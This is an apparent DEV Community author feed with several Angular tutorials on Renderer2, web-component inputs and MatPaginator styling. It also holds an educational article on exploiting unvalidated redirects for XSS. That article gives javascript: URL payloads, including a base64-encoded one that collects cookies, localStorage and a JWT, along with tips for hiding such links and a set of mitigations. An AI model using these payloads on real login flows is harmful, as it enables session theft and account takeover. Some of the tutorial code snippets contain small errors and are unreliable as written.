DEV Community: Eduard Krivanek

Angular - Power Of Renderer2

Eduard Krivanek — Sat, 21 Mar 2026 08:59:36 +0000

When we build apps with Angular, we usually stay inside the world of templates and signals. It works great for almost everything. But sometimes you hit a wall and need a lower level access to build a custom tooltip, a complex file generator, or a special pagination system. In those moments, you might want to use "document" or "nativeElement" to change a color or move an element. However, doing this can break your app. Renderer2 lets you talk to the webpage safely.

Why Direct DOM Access Is Risky

It is easy to write document.getElementById in a component, but that habit can cause three major problems:

1. The Server Side Challenge
Many modern apps use Server Side Rendering or SSR. This means your app starts running on a server before it ever reaches a user's browser. A server does not have a "window" or a "document" because there is no actual screen there. If your code tries to find a button using the global document while it is running on the server, your whole application will crash. Renderer2 is smart. It knows if it is running on a server or in a browser, and it ensures your code does not cause a crash.

2. Security and XSS
Web security is a top priority. If you use something like innerHTML to inject content, you might accidentally open a door for hackers. This is called Cross Site Scripting or XSS. They can inject sneaky scripts into your site to steal data. Angular is very good at blocking these attacks, but it can only protect you if you use its official tools. Renderer2 helps keep your app safe by handling these changes in a secure, sanitized way.

3. Testing Your Code
We want our tests to be fast and reliable. If your component is tied directly to the browser DOM, it becomes very difficult to test in different environments. By using the tools Angular provides, you can "mock" or fake the webpage during your tests. This makes your testing process much smoother and ensures your code works perfectly before it goes live.

Renderer2 is an "abstraction." This just means it is a middleman that talks to the DOM for you. You do not have to worry about whether the app is on a phone, a server, or a browser. To start using it in a modern component or directive, you just inject it along with the ElementRef or use the DOCUMENT injection token to access HTML elements.

import { Component, inject, Renderer2, ElementRef, viewChild } from '@angular/core';

@Component({
  selector: 'app-custom-style',
  standalone: true,
  template: `<div #myBox>Target Box</div>`
})
export class MyComponent {
  private renderer = inject(Renderer2);
  private box = viewChild<ElementRef>('myBox');

  applyStyle() {
    const el = this.box()?.nativeElement;
    if (el) {
      this.renderer.setStyle(el, 'background-color', 'blue');
    }
  }
}

Renderer2 gives you a set of tools that cover almost everything you would ever need to do to a webpage. Here are the ones we use most often:

createElement: Build a new HTML tag from scratch without using messy strings.
createText: Add plain text inside your elements.
appendChild: Take a new element and put it inside another one.
setStyle and removeStyle: Change colors, margins, or animations on the fly.
addClass and removeClass: The best way to handle CSS transitions and dark mode themes.

Using addClass is usually better than setStyle because it keeps your design logic inside your CSS files where it belongs. I have used this many times when building custom UI like a YAML file generator or a custom pagination component. When you are parsing complex data and need to show it on the screen, these methods keep your code clean and easy to read.

One useful example I like to always go with is a clickable element directive. This is a common task when you want to add special behavior to a button or a div without breaking the way the page works. By using the renderer to add or remove classes based on user interaction, you keep the DOM manipulation safe and clean. It is a much better way to handle "active" states or ripple effects than trying to manage every single CSS change through a complex template binding. You can read the full example here.

import { Directive, inject, Renderer2, ElementRef } from '@angular/core';

@Directive({
  selector: '[appClickable]',
  standalone: true,
  host: {
    '(click)': 'onElementClick($event)',
    '(mouseenter)': 'onHover()',
    '[class.is-active]': 'active()'
  }
})
export class ClickableDirective {
  private el = inject(ElementRef);
  private renderer = inject(Renderer2);

  // We can use signals for state
  protected active = signal(false);

  onElementClick(event: MouseEvent) {
    this.active.set(!this.active());
    // Using renderer to set a style safely
    this.renderer.setStyle(this.el.nativeElement, 'backgroundColor', 'yellow');
  }

  onHover() {
    console.log('User is hovering over the element');
  }
}

You might wonder when to use RendererFactory2. Think of Renderer2 as the tool you hold in your hand. RendererFactory2 is the factory that builds that tool. Most of the time, you just inject Renderer2. But if you are working in a service where there is no specific element to attach to, you might need the factory to create a renderer for you. Here is how that looks:

import { inject, Injectable, RendererFactory2 } from '@angular/core';

@Injectable({ providedIn: 'root' })
export class DynamicThemeService {
  private factory = inject(RendererFactory2);
  // We create a renderer that is not tied to any specific component
  private renderer = this.factory.createRenderer(null, null);

  applyGlobalTheme(themeName: string) {
    this.renderer.addClass(document.body, themeName);
  }
}

Practical use cases for Renderer2 usually pop up when you are dealing with things that live outside the standard Angular template logic.

A great example is handling image loading issues. You use the renderer to listen for the "error" event on an <img> tag and then safely swap the src attribute to a backup image. This prevents your UI from looking broken if an external link fails, and it works perfectly even if you are using Server Side Rendering.

Another high level case is discussed in the blogpost about web components in Angular. When you use custom elements, standard Angular inputs can sometimes fail during navigation between pages. Using the renderer to manually set properties or attributes on those web components ensures that the data stays synced and the component does not break when the user moves around your app.

Finally, when you need to build custom angular material pagination. Since the internal parts of material components are often hidden or hard to reach, the renderer lets you find those specific buttons or labels to inject custom logic or styles. This allows you to create a unique user experience without having to rewrite the entire pagination logic from scratch.

Summary

A great video on this topic is from Decoded Frontend - The Role of Renderer2 in Modern Angular. While many problems have multiple solutions, you can solve many cases by just simply accessing the DOM directly, however using renderer, it gives you a safe, SSR compatible, way of doing so. Understanding how it works, allows you to solve problems in a cleaner way. Hope you liked this example, catch more of my articles on dev.to, connect with me on LinkedIn or check my Personal Website.

Exploiting Unvalidated Redirects for XSS

Eduard Krivanek — Tue, 06 Jan 2026 14:21:39 +0000

Being in web development for a while, you start exploring different domains than just mastering your favourite framework. I decided to learn more about web security. We hear a lot about preventing our web apps from exploitation, sanitize data, never trust user inputs, so on, so on… the truth is that we overlook (willingly or accidentally) security holes when developing new features, which can lead exploits and production outage.

In this post, I want to explore how an attacker can potentially steal client side information or inject scripts using unvalidated redirects. For this example we will use a dashboard application in Angular, an authentication app in React, and a server in NestJS. In real life you would have a dedicated identity server, just for authentication, but this setup is good enough for our demonstration.

The Scenario

Here is the scenario. Imagine you are in a large organization with multiple production applications. Each app lives on a separate URL, fulfilling a different business purpose. However, you want a centralized login system. You have one authentication endpoint where each user logs in, and the server verifies their identity. Something as showed on the following image:

Expected Behaviour

First I want to describe the expected behaviour (”happy path”) with this approach, how we assume the user should use the app.

Initial load - You start on the main application (http://localhost:4200), we use localhost, but the can be any kind of domain name.
Redirect to auth - Since you are not logged in (no token in LocalStorage), the app redirects you to the Auth Server (http://localhost:4201).
State passing - We send a base64 encoded state query parameter (context) to the auth app from the origin. Encoding data as who created the redirection, the origin name (appName), where to return (redirectUrl), and a tracking ID (traceId) for monitoring.
Success - Once authenticated, the user is redirected back to the original app (http://localhost:4200 - information from the redirectUrl), with a JWT token in the query parameter.

The decoded state query param passes to the auth application can be seen in the “debug” green section. When user logs in, back in the original (Angular) app, we grab the JWT token, remove it from the query param and save it into localstorage and to the application internal state. In the GIF above you can see displayed in console this JWT token. This is how it’s done in Angular, just for some overview:

@Component({ /* ... */ })
export class App {
  private readonly appState = inject(AppState);
  private readonly router = inject(Router);

  constructor() {
    afterNextRender(() => {
      // check URL for token on initial load - user authenticated
      const params = new URLSearchParams(window.location.search);
      const token = params.get('token') as string | null;

      if (!token) {
        return;
      }

      // custom logic to parse the JWT into normal object
      const decodedToken = customDecodeToken<User>(token);

      if (decodedToken) {
        // clean URL to remove token param
        window.history.replaceState({}, document.title, '/');

        // save the user to the application state
        this.appState.setData('token', token);
        this.appState.setData('user', decodedToken);

        // persist data for application reload
        localStorage.setItem('access_token', token);

        // redirect to the app
        this.router.navigate(['/overview']);
      }
    });
  }
}

Overview Of XSS Vulnerability In Redirection

The application works fine, so where exactly is the potential bug ? We need to take a look at the React (authentication) app. Even if you are not familiar with React, the logic here is straightforward:

import { useEffect, useState } from 'react';

function App() {
  // used in HTML to set auth data
  const [username, setUsername] = useState(authLogin.username);
  const [password, setPassword] = useState(authLogin.password);

  // decoded from the URL `state` query param
  const [appName, setAppName] = useState('');
  const [redirectUrl, setRedirectUrl] = useState('');
  const [traceId, setTraceId] = useState('');

  useEffect(() => {
    // read the 'state' query param
    const params = new URLSearchParams(window.location.search);
    const stateParam = params.get('state');

    if (!stateParam) {
    return 
    }

    // decode base64 - vulnerability
    const decodedString = atob(stateParam);
    const stateData = JSON.parse(decodedString);

    // extract context information
    if (stateData.appName) {
       setAppName(stateData.appName);
    }
    if (stateData.redirectUrl) {
       setRedirectUrl(stateData.redirectUrl);
    }
    if (stateData.traceId) {
       setTraceId(stateData.traceId);    
    }
  }, []);

  const handleLogin = async (e: any) => {
    e.preventDefault();

    try {
      // send auth to NestJS backend
      const response = await fetch('http://localhost:3000/api/auth/login', {
        method: 'POST',
        headers: {
          'Content-Type': 'application/json',
        },
        body: JSON.stringify({ username, password }),
      });

      // invalid credentials 
      if (!response.ok) {
        throw new Error('Invalid credentials');
      }

      const data = await response.json();
      const token = data.access_token;

      // handle redirect
      if (redirectUrl) {
        const hasToken = redirectUrl.includes('{token}');
        // check if contains the {token} query param, if so replace it or append at the end
        const finalUrl = hasToken ? redirectUrl.replace('{token}', token) : `${redirectUrl}?token=${token}`;
        // redirect back to original domain
        window.location.href = finalUrl;
      }
    } catch (error) {
      alert('Login Failed: Invalid username or password');
      console.error(error);
    }
  };

  return ( /* HTML .... */ );
}

export default App;

I wouldn’t personally have known that there was a bug if I hadn’t built this example specifically to test it. The vulnerability is hidden in how we handle the redirect using window.location.href.

This property is used to navigate the user to a different domain. If we set it to window.location.href = "https://google.com", we go to Google. Where is the problem tho? If we do not validate the redirectUrl, it is possible to execute code like this:

 window.location.href = "javascript:alert('XSS Executed');window.location.href='https://www.google.com';//"

Now, of course, this demonstration will not work on every domain. If you are outside localhost, you may receive an Error as displayed below. The script execution is prevented by CSP (Content Security Policy). This header tells the browser to only execute code from trusted JS file. For this demonstration, we assume the application has a missing or weak CSP (allowing 'unsafe-inline'), which can happen in legacy apps. Most of the time you have a strict CSP, therefore executing such a script is not that simple. Currently we ignore this defense mechanism, we just want to demonstrate one of the potential vulnerabilities, as the attacker could find a different backdoor to execute the following attack.

Real World Demonstration

Since we are not sanitizing the redirectUrl, that is parsed on the auth React app, we can encode Javascript code inside it. When we visit the auth application, all the information is encoded to the state query param by base64. Therefore we can construct a malicious payload and encode it:

{
  "appName": "Workday Clone (Angular)",
  "traceId": "Example-123",
  "redirectUrl": "javascript:alert('XSS Executed');window.location.href='http://localhost:4200?token={token}'"
}

// will result to the following hash:
/**
ewogICAgICJhcHBOYW1lIjogIldvcmtkYXkgQ2xvbmUgKEFuZ3VsYXIpIiwKICAidHJhY2VJZCI6
ICJFeGFtcGxlLTEyMyIsCiAgInJlZGlyZWN0VXJsIjogImphdmFzY3JpcHQ6YWxlcnQoJ1hTUyBF
eGVjdXRlZCcpO3dpbmRvdy5sb2NhdGlvbi5ocmVmPSdodHRwOi8vbG9jYWxob3N0OjQyMDA/dG9r
ZW49e3Rva2VufSciCn0=
**/

Both application is running on localhost, but the domains can be anything. The idea of this attack is simple:

The attacker sends a victim a link to the legitimate login page, but with a modified state parameter.
The victim logs in securely.
The React app reads the malicious redirectUrl.
The browser executes the injected script (XSS).
The script then redirects the user to the actual app, so the victim has no idea what happened.

On this example you see a harmless alert for a demonstration. But what if we wanted to be destructive? We could inject code in the state query param to steal the user's localStorage, cookies and the JTW token, and send them to an external server using fetch() before redirecting them.

const t = '{token}';

const capturedData = {
   cookies: document.cookie,
   storage: localStorage,
   token: t
};

// attacker would use fetch() to log somewhere this data
alert(JSON.stringify(capturedData, null ,2));

window.location.href = 'http://localhost:4200?token=' + t;

// --------------------
/** -- Generated Base64
ewogICAgICJhcHBOYW1lIjogIldvcmtkYXkgQ2xvbmUgKEFuZ3VsYXIpIiwKICAgICAgInRyYWNl
SWQiOiAic3AtMTIzIiwKICAgICAgInJlZGlyZWN0VXJsIjogImphdmFzY3JpcHQ6Y29uc3QgdD0n
e3Rva2VufSc7Y29uc3QgY2FwdHVyZWREYXRhPXtjb29raWVzOmRvY3VtZW50LmNvb2tpZSxzdG9y
YWdlOiBsb2NhbFN0b3JhZ2UsdG9rZW46dH07YWxlcnQoSlNPTi5zdHJpbmdpZnkoY2FwdHVyZWRE
YXRhLG51bGwsMikpO3dpbmRvdy5sb2NhdGlvbi5ocmVmPSdodHRwOi8vbG9jYWxob3N0OjQyMDA/
dG9rZW49Jyt0OyIKfQ==
**/

In the example above, we successfully displayed (or "stole") client’s information. The user was still able to log in, meaning the attack was executed silently. The attacker now has the user’s valid token and can impersonate them.

A confusing part may be how the attacker got the JWT token. This goes back to the this code redirectUrl.replace('{token}', token). The redirectUrl is the whole JS displayed above as a string:

 "redirectUrl": "javascript:const t='{token}';const capturedData={cookies:document.cookie,storage: localStorage,token:t};alert(JSON.stringify(capturedData,null,2));window.location.href='http://localhost:4200?token='+t;"

The attacker knows the replace part exists in the React app. Yes, the JS is minified in PROD, but let’s skip the logic how the attacker knows about this vulnerability. The auth application sees the {token} placeholder and injects the real JWT right into it and then just executes the whole JS inside the redirectUrl.

Keep in mind that sometimes when the query param (state) is too long, it can fail on parsing/decoding. Therefore the attacker could use JS minification and URL shortener tools to avoid parsing crashes and suspicion from the victim side.

Even if our application had a strict CSP that would have blocked the javascript: execution, we would still have a major security hole, an “Open Redirect Vulnerability”. The attacker could set the redirectUrl to http://fake-login-page.com. The user logs inside the real app, the server returns a valid token, and then auth app immediately redirects the use to the attacker's phishing site (which looks the same as our auth app). The victim might re-enter their credentials into the fake site. Therefore we should have an allowlist, list of valid domain where the user can be redirected.

Avoid XSS Vulnerability In Redirection

This demo tried to mimic some real-world scenario, but also it was designed such that we will be able to execute this XSS redirect attack. Production applications are probably much more protected than my demo, but if your app looks like something that I’ve presented, here are some ways how you can prevent this attack:

Temporary Token - Instead of sending the actual JWT access token in the URL, the auth server should generate a one time use "authorization code" and pass that in the redirect. When the Angular dashboard receives this code, it requests the backend to exchange it for the real JWT. This works because the code is valid only for a few seconds, making it useless even if captured.
Token Reuse Detection - The backend should mark the real token as "used" in the database immediately after it is exchanged or validated for the first time. You can even attached the requester IP address to the specific token. If the system detects a second attempt to use the same token ("replay attack"), it should immediately invalidate that token… maybe even alert the security team.
Domain Validation - The most immediate fix is to validate the redirectUrl on the client side, sanitize the data. Probably creating one URL validation function that checks if the contains any javascript: code and whether it starts with http: or https:. Even an “allowedList” of trusted domains that sits on the authentication app can help to prevent redirection to any phishing site.

There are many more ways how to prevent this attack. I am not a security expect, but this is an interesting example I bumped into when I was researching about security, so I wanted to share my findings. Hope you liked this article, catch more of my stuff on dev.to, connect with me on LinkedIn or check my Personal Website.

Web Components in Angular - Why Passing Inputs Breaks on Navigation

Eduard Krivanek — Sun, 21 Dec 2025 16:11:40 +0000

Imagine that in your organization one team is building a library that you want to integrate into your Angular app. That library is built using a different framework, such as Svelte or React, and uses Web Components for seamless integration.

For this example, let’s say it is a card payment widget you want to integrate into Angular (payment-widget), and it requires some input parameters like country and entity, which are validated during the construction of the widget. If incorrect values are provided, the component will fail. You might have something like this:

@Component({
  selector: 'app-payment-wrapper',
  template: `
    <payment-widget [attr.country]="country()" [attr.entity]="entity()" />
  `,
  schemas: [CUSTOM_ELEMENTS_SCHEMA]
})
export class PaymentWidgetComponent {
 readonly country = input.required("")
 readonly entity = input.required("")

 // ... other code
}

On the first load, everything works fine. The attributes are passed and the widget works as expected. Then you navigate away (the component is destroyed), come back, and get an error: Bad or unsupported value 'undefined' of input parameter 'entityUid'. The Angular component has the value. The binding exists. Yet the Web Component crashes as if the value never arrived. This makes the issue especially confusing because there is no compilation or TypeScript error.

I am writing this article because I recently ran into this issue, and it took us a while to understand what was happening and why it worked only once. Our assumption was that “if I bind `[attr.]`, Angular will update the element whenever the value changes”*, which is correct, but it does not work the way you might expect with Web Components.

When you use a web component directly in an Angular template, everything usually looks fine at first. On the first navigation to the page, Angular creates the wrapper component and renders the custom HTML element. In most cases, the required values like country or entity are already available, or they resolve quickly enough. Angular creates the DOM element, then shortly after sets the attributes via [attr.*].

The problem appears when you navigate away and then come back. Angular destroys the wrapper component when you leave the route and creates a new instance when you return. The important detail is that the browser initializes a custom element immediately when it is attached to the DOM. This means the web component’s constructor run before Angular has had a chance to set any attributes. At that moment, attributes like entity or country are still missing or undefined, even though Angular has the correct values ready. Once that happens, Angular cannot recover by setting the attributes later, because the component has already failed during its own initialization.

This is why the first render works and the second one does not. It happens because Angular and custom elements follow different lifecycle rules (not because of caching). Angular assumes it can create an element first and configure it afterward, while a web component assumes it is fully configured at the moment it is connected to the DOM.

Incorrect Solutions

Before giving the actual working example, I want to give some examples what we have tried but did not work. One of the solutions we thought will work (but did not) was using a condition when to render the widget, so something like:

@Component({
  selector: 'app-payment-wrapper',
  template: `
   @if(country() && entity())
     <payment-widget
        [attr.country]="country()"
        [attr.entity]="entity()" />
    }
  `,
  schemas: [CUSTOM_ELEMENTS_SCHEMA]
})
export class PaymentWidgetComponent {
  readonly country = input.required('');
  readonly entity = input.required('');
}

Using a condition only controls when Angular adds the element to the DOM. As soon as the element is inserted, the browser immediately initializes the Web Component. Angular still applies [attr.*] bindings after the element is connected, so the Web Component can still initialize with missing or undefined values, especially when navigating back to the page.

Another failed attempts were using setTimeout(), afterRendererEffect or at one point we just hardcoded the country and entity many many (too many times) and had a switch statement in HTML to which payment-widget display. This solved the problem, but it wasn’t very scalable and finally we bumped to the correct solution.

Correct Solution

The only reliable way to solve this problem is to stop letting Angular create the Web Component through the template. Instead, you create the element yourself, set all required attributes first, and only then attach it to the DOM. So an example is the following using Renderer :

@Component({
  selector: 'app-payment-wrapper',
  template: `<div #elRef></div>`,
})
export class PaymentWidgetComponent {
  private readonly renderer = inject(Renderer2);
  private readonly destroyRef = inject(DestroyRef);

  readonly elRef = viewChild('elRef', { read: ElementRef<HTMLElement> });

  readonly country = input.required('');
  readonly entity = input.required('');

  // reference for the HTML element for cleanup
  private paymentWidget?: HTMLElement;

  constructor(){
   afterRendererEffect(() => {
      const paymentWidget = this.renderer.createElement('payment-widget');
      const elementRef = this.elRef().nativeElement;

      this.paymentWidget = paymentWidget;

      // set input attributes
      this.renderer.setAttribute(el, 'country', this.country());
      this.renderer.setAttribute(el, 'entity', this.entity());

      // attach to the DOM
      this.renderer.appendChild(elementRef, paymentWidget);
    });

     // cleanup - release memory
     this.destroyRef.onDestroy(() => {
       if (this.paymentWidget) {
         this.renderer.removeChild(host, this.paymentWidget);
         this.paymentWidget = undefined;
       }
    });
  }
}

This works because the Web Component is not connected to the DOM yet when its attributes are set. The browser does not run the custom element’s constructor or connectedCallback() until the element is actually appended. By the time that happens, all required attributes already exist and have valid values. From the Web Component’s point of view, it is being initialized in a fully configured state.

Another important detail is that Angular is no longer involved in the element’s lifecycle. Angular does not create the element, does not attach it automatically, and does not try to update its attributes later. You are treating the Web Component as an external system and interacting with it explicitly. This removes the timing mismatch between Angular’s rendering and the browser’s custom element initialization.

When you leave the route, the element is removed with the rest of the DOM. When you come back, a new element is created, configured, and attached. There is no first vs second render difference, and no chance for the Web Component to see undefined inputs during its initialization. Hope you liked this shorter article, catch more of my stuff on dev.to, connect with me on LinkedIn or check my Personal Website.

Angular - Custom MatPaginator Styling

Eduard Krivanek — Mon, 24 Nov 2025 17:04:37 +0000

One of my more popular articles that I’ve published is Angular: MatPaginator Custom Styling, which shows how to transform Angular Material’s paginator (on a mat-table) using a custom directive to make it look more appealing.

I decided to update this article because since then, two major things have changed. It was originally written for Angular v14, and since then we’ve received the major Angular Material MDC components, which caused quite a few issues for people updating their projects, along with some smaller Angular improvements. Also, in my previous article, I was accessing some private methods of the MatPaginator component. In the GIF below, you can see the final example we’ll be building. You can also find the full source code in this GitHub repository.

I will start this blog post by showing the full code section, you can always come back to it, and then we’ll go through some of the more interesting or not that obvious parts. You might already have a table component displaying data, something like this:

import { afterNextRender, Component, viewChild } from '@angular/core';
import { MatPaginator, MatPaginatorModule } from '@angular/material/paginator';
import { MatTableDataSource, MatTableModule } from '@angular/material/table';

type Data = { position: number; name: string; weight: number; symbol: string };

@Component({
  selector: 'app-test-table',
  imports: [MatTableModule, MatPaginatorModule, BubblePaginationDirective],
  template: `
    <table mat-table [dataSource]="dataSource">
      <!-- Position Column -->
      <ng-container matColumnDef="position">
        <th mat-header-cell *matHeaderCellDef>No.</th>
        <td mat-cell *matCellDef="let element">{{ element.position }}</td>
      </ng-container>

      <!-- ... more columns ... -->

      <tr mat-header-row *matHeaderRowDef="displayedColumns"></tr>
      <tr mat-row *matRowDef="let row; columns: displayedColumns"></tr>
    </table>

    <mat-paginator [length]="dataSource.data.length" [pageSize]="10" />
  `,
})
export class TestTableComponent {
  readonly dataSource = new MatTableDataSource<Data>([]);
  readonly paginator = viewChild(MatPaginator);

  readonly displayedColumns: string[] = ['position', 'name', 'weight', 'symbol'];

  constructor() {
    const data: Data[] = [];
    Array.from({ length: 100 }, (_, k) => k + 1).forEach(v => {
      data.push({ position: v, name: `Element ${v}`, weight: v * 1.5, symbol: `E${v}` });
    });

    this.dataSource.data = data;

    afterNextRender(() => {
      const paginator = this.paginator();

      if (paginator) {
        this.dataSource.paginator = paginator;
      }
    });
  }
}

With this simple configuration, your table looks as follows:

What we want to achieve is creating a directive that we can attach to the mat-paginator and it will transform the look of our paginated table into the bubble example. The usage of the directive will be the following:

<mat-paginator
  [appBubblePagination]="dataSource.data.length"
  (page)="onPageChange($event)"
  [length]="dataSource.data.length"
  [pageSize]="15">
</mat-paginator>

Here is the full code of the directive and below I describe some of its sections.

import { Directive, ElementRef, Renderer2, afterRenderEffect, inject, input, untracked } from '@angular/core';
import { MatPaginator } from '@angular/material/paginator';

/**
 * Works from angular-material version 15. since all classes got the new prefix 'mdc-'
 */
@Directive({
  selector: '[appBubblePagination]',
})
export class BubblePaginationDirective {
  private readonly matPag = inject(MatPaginator, {
    optional: true,
    self: true,
    host: true,
  });
  private readonly elementRef = inject(ElementRef);
  private readonly ren = inject(Renderer2);

  /**
   * whether we want to display first/last button and dots
   */
  readonly showFirstButton = input(true);
  readonly showLastButton = input(true);

  /**
   * total number of items in pagination
   * needed to calculate how many buttons to render
   * when page size changes
   */
  readonly paginationSize = input(0, {
    alias: 'appBubblePagination',
  });

  /**
   * how many buttons to display before and after
   * the selected button
   */
  readonly renderButtonsNumber = input(2);

  /**
   * references to DOM elements
   */
  private dotsEndRef!: HTMLElement;
  private dotsStartRef!: HTMLElement;
  private bubbleContainerRef!: HTMLElement;

  /**
   * ref to rendered buttons on UI that we can remove them size changes
   */
  private buttonsRef: HTMLElement[] = [];

  readonly buildButtonsEffect = afterRenderEffect(() => {
    // rebuild buttons when pagination size change
    this.paginationSize();

    untracked(() => {
      // remove buttons before creating new ones
      this.removeButtons();

      // set some default styles to mat pagination
      this.styleDefaultPagination();

      // create bubble container
      this.createBubbleDivRef();

      // create all buttons
      this.buildButtons();

      // switch back to page 0
      this.switchPage(0);
    });
  });

  /**
   * change the active button style to the current one and display/hide additional buttons
   * based on the navigated index
   */
  private changeActiveButtonStyles(previousIndex: number, newIndex: number) {
    const previouslyActive = this.buttonsRef[previousIndex];
    const currentActive = this.buttonsRef[newIndex];

    if (!previouslyActive && !currentActive) {
      return;
    }

    // remove active style from previously active button
    if (previouslyActive) {
      this.ren.removeClass(previouslyActive, 'g-bubble__active');
    }

    // add active style to new active button
    this.ren.addClass(currentActive, 'g-bubble__active');

    // hide all buttons
    this.buttonsRef.forEach(button => this.ren.setStyle(button, 'display', 'none'));

    // show N previous buttons and X next buttons
    const renderElements = this.renderButtonsNumber();
    const endDots = newIndex < this.buttonsRef.length - renderElements - 1;
    const startDots = newIndex - renderElements > 0;

    const firstButton = this.buttonsRef[0];
    const lastButton = this.buttonsRef[this.buttonsRef.length - 1];

    // last bubble and dots
    if (this.showLastButton()) {
      this.ren.setStyle(this.dotsEndRef, 'display', endDots ? 'block' : 'none');
      this.ren.setStyle(lastButton, 'display', endDots ? 'flex' : 'none');
    }

    // first bubble and dots
    if (this.showFirstButton()) {
      this.ren.setStyle(this.dotsStartRef, 'display', startDots ? 'block' : 'none');
      this.ren.setStyle(firstButton, 'display', startDots ? 'flex' : 'none');
    }

    // resolve starting and ending index to show buttons
    const startingIndex = startDots ? newIndex - renderElements : 0;

    const endingIndex = endDots ? newIndex + renderElements : this.buttonsRef.length - 1;

    // display starting buttons
    for (let i = startingIndex; i <= endingIndex; i++) {
      const button = this.buttonsRef[i];
      this.ren.setStyle(button, 'display', 'flex');
    }
  }

  /**
   * Removes or change styling of some html elements
   */
  private styleDefaultPagination() {
    const nativeElement = this.elementRef.nativeElement;
    const itemsPerPage = nativeElement.querySelector('.mat-mdc-paginator-page-size');
    const howManyDisplayedEl = nativeElement.querySelector('.mat-mdc-paginator-range-label');
    const previousButton = nativeElement.querySelector('button.mat-mdc-paginator-navigation-previous');
    const nextButtonDefault = nativeElement.querySelector('button.mat-mdc-paginator-navigation-next');

    // remove 'items per page'
    if (itemsPerPage) {
      this.ren.setStyle(itemsPerPage, 'display', 'none');
    }

    // style text of how many elements are currently displayed
    if (howManyDisplayedEl) {
      this.ren.setStyle(howManyDisplayedEl, 'position', 'absolute');
      this.ren.setStyle(howManyDisplayedEl, 'color', '#919191');
      this.ren.setStyle(howManyDisplayedEl, 'font-size', '14px');
      this.ren.setStyle(howManyDisplayedEl, 'left', '-0');
    }

    // check whether to remove left & right default arrows
    this.ren.setStyle(previousButton, 'display', 'none');
    this.ren.setStyle(nextButtonDefault, 'display', 'none');
  }

  /**
   * creates `bubbleContainerRef` where all buttons will be rendered
   */
  private createBubbleDivRef(): void {
    const actionContainer = this.elementRef.nativeElement.querySelector('div.mat-mdc-paginator-range-actions');
    const nextButtonDefault = this.elementRef.nativeElement.querySelector('button.mat-mdc-paginator-navigation-next');

    // create a HTML element where all bubbles will be rendered
    this.bubbleContainerRef = this.ren.createElement('div') as HTMLElement;
    this.ren.addClass(this.bubbleContainerRef, 'g-bubble-container');

    // render element before the 'next button' is displayed
    this.ren.insertBefore(actionContainer, this.bubbleContainerRef, nextButtonDefault);
  }

  /**
   * helper function that builds all button and add dots
   * between the first button, the rest and the last button
   *
   * end result: (1) .... (4) (5) (6) ... (25)
   */
  private buildButtons(): void {
    if (!this.matPag) {
      return;
    }

    const neededButtons = Math.ceil(this.matPag.length / this.matPag.pageSize);

    // if there is only one page, do not render buttons
    if (neededButtons === 0 || neededButtons === 1) {
      this.ren.setStyle(this.elementRef.nativeElement, 'display', 'none');
      return;
    }

    // set back from hidden to block
    this.ren.setStyle(this.elementRef.nativeElement, 'display', 'block');

    // create first button
    this.buttonsRef = [this.createButton(0)];

    // add dots (....) to UI
    this.dotsStartRef = this.createDotsElement();

    // create all buttons needed for navigation (except the first & last one)
    for (let index = 1; index < neededButtons - 1; index++) {
      this.buttonsRef = [...this.buttonsRef, this.createButton(index)];
    }

    // add dots (....) to UI
    this.dotsEndRef = this.createDotsElement();

    // create last button to UI after the dots (....)
    this.buttonsRef = [...this.buttonsRef, this.createButton(neededButtons - 1)];
  }

  /**
   * Remove all buttons from DOM
   */
  private removeButtons(): void {
    this.buttonsRef.forEach(button => {
      this.ren.removeChild(this.bubbleContainerRef, button);
    });

    // remove dots
    if (this.dotsStartRef) {
      this.ren.removeChild(this.bubbleContainerRef, this.dotsStartRef);
    }
    if (this.dotsEndRef) {
      this.ren.removeChild(this.bubbleContainerRef, this.dotsEndRef);
    }

    // Empty state array
    this.buttonsRef.length = 0;
  }

  /**
   * create button HTML element
   */
  private createButton(i: number): HTMLElement {
    const bubbleButton = this.ren.createElement('div');
    const text = this.ren.createText(String(i + 1));

    // add class & text
    this.ren.addClass(bubbleButton, 'g-bubble');
    this.ren.setStyle(bubbleButton, 'margin-right', '8px');
    this.ren.appendChild(bubbleButton, text);

    // react on click
    this.ren.listen(bubbleButton, 'click', () => {
      this.switchPage(i);
    });

    // render on UI
    this.ren.appendChild(this.bubbleContainerRef, bubbleButton);

    // set style to hidden by default
    this.ren.setStyle(bubbleButton, 'display', 'none');

    return bubbleButton;
  }

  /**
   * helper function to create dots (....) on DOM indicating that there are
   * many more bubbles until the last one
   */
  private createDotsElement(): HTMLElement {
    const dotsEl = this.ren.createElement('span');
    const dotsText = this.ren.createText('.....');

    // add class
    this.ren.setStyle(dotsEl, 'font-size', '18px');
    this.ren.setStyle(dotsEl, 'margin-right', '8px');
    this.ren.setStyle(dotsEl, 'padding-top', '6px');
    this.ren.setStyle(dotsEl, 'color', '#919191');

    // append text to element
    this.ren.appendChild(dotsEl, dotsText);

    // render dots to UI
    this.ren.appendChild(this.bubbleContainerRef, dotsEl);

    // set style none by default
    this.ren.setStyle(dotsEl, 'display', 'none');

    return dotsEl;
  }

  /**
   * Helper function to switch page
   */
  private switchPage(i: number): void {
    if (!this.matPag) {
      return;
    }

    const previousPageIndex = this.matPag.pageIndex;

    // switch page index of mat paginator
    this.matPag.pageIndex = i;

    // change active button styles
    this.changeActiveButtonStyles(previousPageIndex, this.matPag.pageIndex);

    // need to trigger page event manually, because we are changing pageIndex programmatically
    this.matPag.page.emit({
      pageIndex: i,
      pageSize: this.matPag.pageSize,
      length: this.matPag.length,
      previousPageIndex: previousPageIndex,
    });
  }
}

Injecting Dependencies

inject(MatPaginator, { optional: true, self: true, host: true })
inject(ElementRef)
inject(Renderer2)

MatPaginator - we hook into its current pageIndex, pageSize, and its page stream
ElementRef - root element of the paginator (so we can query its internals)
Renderer2 - the safe way to create elements, set styles/classes, and listen to events. Works nicely with SSR and avoids direct DOM APIs

Input / Output Bindings

showFirstButton = input(true); & showLastButton = input(true); - whether to display first and last buttons for fast navigation on the start / end of the table
renderButtonsNumber = input(2); - when you are on an active page, let’s say index 6 , then how many buttons before and after should we display
paginationSize - this input is required to detect changes in the table length (after filtering or loading new data). When it changes, the directive re-renders the bubbles to match the correct number of pages

Core Logic Execution

The directive itself is around 300 lines of code, but when you try to understand how it works, the main logic is inside the buildButtonsEffect effect, such as:

readonly buildButtonsEffect = afterRenderEffect(() => {
  // rebuild buttons when pagination size change
  this.paginationSize();

  untracked(() => {
    // remove buttons before creating new ones
    this.removeButtons();

    // set some default styles to mat pagination
    this.styleDefaultPagination();

    // create bubble container
    this.createBubbleDivRef();

    // create all buttons
    this.buildButtons();

    // switch back to page 0
    this.switchPage(0);
  });
});

